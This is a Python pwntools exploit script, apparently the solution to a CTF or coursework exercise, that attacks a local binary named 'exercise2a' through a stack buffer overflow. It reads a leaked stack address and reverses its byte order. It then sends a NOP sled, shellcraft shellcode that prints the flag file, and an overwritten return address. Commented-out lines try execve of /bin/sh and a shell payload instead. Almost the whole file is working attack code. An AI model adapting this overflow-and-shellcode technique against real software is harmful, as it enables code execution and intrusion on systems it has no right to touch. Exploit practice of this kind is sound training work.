#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './exercise2a'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *main
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

r = start()
print(r, type(r))
if args.PAUSE:
    pause()

#trying to transform the address into a bytesequence that is of the correct order
address = r.recvline()
address = address.split(b'\n')[0]
address = address.split(b'0x')[1]
print(address) 
address = address.decode()
print(address)
addr = bytes.fromhex(address)
print(addr)
addr = addr[::-1]
print(addr)


log.info(f"address = {addr}")
i= r.recvuntil("password:\n")
log.info(f"first data {i}")

#120 bytes of buffer+ebp
#print((tempfile.mktemp()))

#construct shellcode to execute cat flag
shellcode = shellcraft.amd64.linux.cat("flag", fd=1)
shellcode = asm(shellcode)
#len_shellcode = len(shellcode) 


#path = '/bin/sh'
#argv = ['sh', '-c', 'cat flag']
#shellcode = shellcraft.amd64.linux.execve(path,argv)
#io = run_assembly(shellcode)
#print("shellcode", io.recvall())
#shellcode = asm(shellcode)

len_shellcode = len(shellcode)

#print(shellcode, len_shellcode)


#calculate how much we need to pad
leftover = 120 - len_shellcode

#construct nopsled
nop = asm(shellcraft.amd64.nop())
len_nop = len(nop)
no_nops = leftover//len_nop
#print(nop, len_nop, no_nops)

nopsled = nop * no_nops

#need to parse leaked addr at beginning apparently fml
#addr = b'\x50\xdd\xff\xff\xff\x7f\x00\x00' #return addr
#print(len(addr))
#send the data for buffer
#r.sendline("A")
exploit = nopsled + shellcode + addr + b'\x00\x00'
print(exploit, len(exploit))

r.sendline(exploit) 

#r.sendline("A"*120 + "\xb6\x11\x40\x00\x00\x00\x00\x00") #64 bit arch need 64 bit addr
j = r.recvall()
log.info(f"final data {j}")
#asm(shellcraft.sh(), arch='amd64')